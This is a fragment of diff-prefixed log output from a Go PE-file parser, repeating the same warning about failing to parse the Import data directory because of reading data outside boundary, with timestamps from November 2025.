+time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:10+01:00 